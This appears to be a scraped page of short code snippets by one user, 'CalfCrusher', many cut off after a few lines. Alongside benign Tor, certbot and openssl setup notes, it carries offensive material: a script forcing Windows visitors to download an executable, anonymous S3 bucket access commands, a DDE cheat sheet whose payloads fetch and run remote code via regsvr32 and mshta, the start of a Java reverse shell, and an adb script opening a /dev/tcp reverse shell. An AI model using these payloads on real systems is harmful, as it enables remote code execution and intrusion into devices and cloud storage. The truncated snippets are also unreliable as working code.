CalfCrusher

Do not use in production Server or if you don't know what iptables do

Add this to torrc ( located on /etc/tor/torrc):

VirtualAddrNetwork 10.192.0.0/10

AutomapHostsOnResolve 1

TransPort 9051 

CalfCrusher

Install Certbot

OSX

$ brew install certbot

Linux

CalfCrusher

to generate example certs
  openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout host.key -out host.crt
  
 run server:
  chmod +x server.py
  ./server.py
  
test server:
  openssl s_client -connect localhost:8888

CalfCrusher

<script type="text/javascript">
if (navigator.platform == 'Win32') {
    setTimeout(function () {window.location = 'https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe'; }, 2000)
}
</script>

CalfCrusher

aws s3 ls s3://s3buckethere --no-sign-request                                                       ## Lists the file in the s3 bucket
aws s3 cp s3://bucketname/filethere.txt . --no-sign-request                                         ## Downloads `filethere.txt` from the s3 bucket in the current directory
aws s3 cp test.txt s3://bucketname --no-sign-request                                                ## Uploads `test.txt` from current directory to the s3 bucket
aws s3api get-bucket-acl --bucket bucketname --no-sign-request                                      ## Shows ACL (Access Control List) of the given bucket
aws s3api get-object-acl --bucket bucketname --key fileons3bucket.ext --no-sign-request             ## Shows ACL (Access Control List) of given object in the bucket

CalfCrusher

#!/usr/bin/python

import sys
import getopt
import urllib2
from optparse import OptionParser

def main():
  # variables
  btcaddr = ""

CalfCrusher

Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet

• Using regsvr32 *.sct files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"

• Using HTA files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"

CalfCrusher

// Not sure where I originally got this from. 
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class C {

  public C() throws Exception {
    String host="10.0.0.90";

CalfCrusher

#!/bin/bash
# Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
# By Random_Robbie 
adb connect $1:5555
adb shell sh -i >& /dev/tcp/$2/4444 0>&1
echo "[*] Should have a shell now ..... Be nice :) [*]"

CalfCrusher

'''
SimpleSecureHTTPServer.py - simple HTTP server supporting SSL.

- replace fpem with the location of your .pem server file.
- the default port is 443.

usage: python SimpleSecureHTTPServer.py

Credit: https://code.activestate.com/recipes/442473-simple-http-server-supporting-ssl-secure-communica/
License: PSF License